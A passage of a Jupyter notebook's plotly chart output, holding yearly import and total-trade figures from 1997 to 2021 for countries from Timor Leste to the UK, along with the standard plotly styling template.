Import=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0.02, - 0.01, - 0.04, - 0.58, - 0.05, - 0.23, - 0.01, - 1.7, - 22.17, - 0.05, - 0.83, - 0.31, - 0.03, - 0.17, - 0.1, - 0, - 0, - 0.04, - 0 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "TIMOR LESTE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0.02, - 0.01, - 0.04, - 0.58, - 0.05, - 0.23, - 0.01, - 1.7, - 22.17, - 0.05, - 0.83, - 0.31, - 0.03, - 0.17, - 0.1, - 0, - 0, - 0.04, - 0 - ] - }, - { - "mode": "lines", - "name": "TOGO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 9.95, - 1.44, - 14.23, - 12.69, - 10.85, - 12.84, - 20.67, - 46.03, - 79.26, - 76.11, - 60.97, - 135.24, - 69.37, - 91.89, - 150.28, - 177.41, - 156.34, - 195.65, - 225.09, - 138.42, - 163.8, - 303.93, - 383.54, - 300.23, - 238.54 - ] - }, - { - "mode": "lines", - "name": "TONGA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.02, - 0, - 0, - 0, - 1.1, - 0.81, - 0, - 0.11, - 0.16, - 0.04, - 0.2, - 0, - 0.22, - 0.01, - 0.07, - 0.02, - 0.01, - 0, - 0.05, - 0, - 0.05, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "TRINIDAD", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.62, - 0.64, - 0.01, - 0, - 0.14, - 0.11, - 7.36, - 13.95, - 1.82, - 51.92, - 174.96, - 93.33, - 57.68, - 80.18, - 204.11, - 8.9, - 5.35, - 68.42, - 91.94, - 173.54, - 42.48, - 195.37, - 84.42, - 189.36, - 110.7 - ] - }, - { - "mode": "lines", - "name": "TUNISIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 145.43, - 199.96, - 187.13, - 86.14, - 104.16, - 93.5, - 64.71, - 94.94, - 101.15, - 143.5, - 155.25, - 601.77, - 252.83, - 301.15, - 164.45, - 215.34, - 91.56, - 196.19, - 136.49, - 114.8, - 140.25, - 137.87, - 131.13, - 123.36, - 203.98 - ] - }, - { - "mode": "lines", - "name": "TURKEY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 64.32, - 98.58, - 96.56, - 43.33, - 69.36, - 59.64, - 73.32, - 134.92, - 193.8, - 335.92, - 1687.59, - 1504.3, - 1603.64, - 821.06, - 1021.91, - 2034.18, - 760.43, - 1463.87, - 776.94, - 1207.31, - 2132.2, - 2388.26, - 2116.56, - 1467.33, - 1558.23 - ] - }, - { - "mode": "lines", - "name": "TURKMENISTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.02, - 0.11, - 0.38, - 1.12, - 1.95, - 5.4, - 9.34, - 10.87, - 12.35, - 11.95, - 8.55, - 12.1, - 10, - 9.73, - 19.46, - 8.33, - 14.1, - 13.05, - 46.97, - 21.32, - 26.15, - 20.63, - 3.99, - 0.3, - 3.77 - ] - }, - { - "mode": "lines", - "name": "TURKS C IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.18, - 0.04, - 0, - 0.02, - 0.06, - 0.01, - 0.01, - 0, - 3.5, - 0.33, - 0.4, - 1.57, - 1.87, - 0.08, - 0.01, - 0.05, - 0.12, - 0.01, - 0.02, - 0.03, - 0.02, - 0, - 0.01, - 0.05, - 0.01 - ] - }, - { - "mode": "lines", - "name": "TUVALU", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 1.56, - 0.35, - 0.05, - 0, - 0.01, - 0, - 0, - 1.42, - 0.01, - 0.13, - 0, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "U K", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2443.29, - 2621.37, - 2702.57, - 3167.92, - 2563.2, - 2777.01, - 3234.33, - 3566.2, - 3930.3, - 4177.87, - 4953.68, - 5872.32, - 4461.67, - 5396.78, - 7134.3, - 6293.09, - 6045.1, - 5018.28, - 5192.54, - 3664.96, - 4806.75, - 7561.93, - 6712.63, - 4955.76, - 4827.28 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "IMPORT" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Import" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Total Trade=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 1.36, - 1.58, - 0.44, - 1.11, - 0.46, - 1.13, - 1.23, - 547.78, - 29.59, - 2.2, - 3.02, - 3.56, - 3.45, - 2.48, - 3.41, - 0, - 0, - 25.4, - 18.16 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "TIMOR LESTE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 1.36, - 1.58, - 0.44, - 1.11, - 0.46, - 1.13, - 1.23, - 547.78, - 29.59, - 2.2, - 3.02, - 3.56, - 3.45, - 2.48, - 3.41, - 0, - 0, - 25.4, - 18.16 - ] - }, - { - "mode": "lines", - "name": "TOGO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 38.47, - 21.7, - 30.26, - 52.25, - 58.21, - 84.5, - 67.65, - 309.4, - 170.35, - 198.12, - 286.75, - 278.66, - 232.88, - 296.74, - 505.28, - 477.29, - 600.27, - 884.07, - 757.28, - 454.12, - 572.48, - 998.02, - 1424.14, - 1847.47, - 2466.61 - ] - }, - { - "mode": "lines", - "name": "TONGA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.22, - 0, - 0, - 0, - 1.42, - 1.77, - 0, - 0.56, - 0.66, - 0.38, - 0.52, - 0.49, - 0.94, - 0.79, - 1.75, - 1.06, - 0.92, - 1.12, - 1.26, - 0, - 0.39, - 0, - 0.85, - 0 - ] - }, - { - "mode": "lines", - "name": "TRINIDAD", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 13.98, - 8.99, - 8.22, - 0, - 10.92, - 22.44, - 27, - 42.87, - 68.47, - 160.38, - 310.76, - 422.58, - 206.83, - 143.14, - 286.57, - 90.42, - 110.18, - 233.9, - 184.83, - 258.07, - 131.17, - 279.13, - 169.53, - 264.15, - 180.51 - ] - }, - { - "mode": "lines", - "name": "TUNISIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 160.26, - 222.78, - 215.25, - 124.51, - 150.53, - 152.44, - 132.87, - 169.4, - 183.72, - 253.14, - 279.54, - 814.84, - 466.38, - 583.47, - 450.07, - 514.12, - 365.66, - 446.02, - 358.86, - 370.21, - 422.02, - 442.08, - 376.15, - 388.01, - 503.38 - ] - }, - { - "mode": "lines", - "name": "TURKEY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 308.44, - 268.48, - 285.99, - 376.96, - 288.41, - 427.96, - 636.66, - 858.62, - 1203.88, - 1663.21, - 3440.2, - 2921.04, - 3142.84, - 3570.21, - 4569.17, - 5997.84, - 5194.18, - 6822.77, - 4916.94, - 5833.9, - 7222.89, - 7840.71, - 7086.03, - 5420.22, - 7555.64 - ] - }, - { - "mode": "lines", - "name": "TURKMENISTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.7, - 2.03, - 6.03, - 3.83, - 6.3, - 15.7, - 28.55, - 26.12, - 31.18, - 45.94, - 44.65, - 53.5, - 46.15, - 35.89, - 63.41, - 78.25, - 87.73, - 105.03, - 115.5, - 78.92, - 80.46, - 66.27, - 37.89, - 60.64, - 92.31 - ] - }, - { - "mode": "lines", - "name": "TURKS C IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 1.05, - 3.83, - 21.02, - 29.15, - 50.57, - 17.28, - 0, - 3.91, - 0.85, - 1.23, - 2.1, - 2.05, - 0.13, - 0.18, - 0.37, - 0.53, - 0.16, - 0.18, - 0.82, - 1.17, - 0, - 0.65, - 0.17, - 0.39 - ] - }, - { - "mode": "lines", - "name": "TUVALU", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0.04, - 0, - 0.14, - 0, - 8, - 7.23, - 0.26, - 0, - 0.02, - 0, - 0, - 1.45, - 0.07, - 0.21, - 0.06, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "U K", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 4535.68, - 4476.77, - 4737.35, - 5466.63, - 4724.07, - 5273.42, - 6257.58, - 7247.29, - 8989.58, - 9800.8, - 11659.18, - 12521.86, - 10683.06, - 12681.73, - 15724.23, - 14905.62, - 15824.17, - 14338.01, - 14021.02, - 12195.03, - 14497.82, - 16871.22, - 15450.49, - 13113.32, - 12504.11 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - 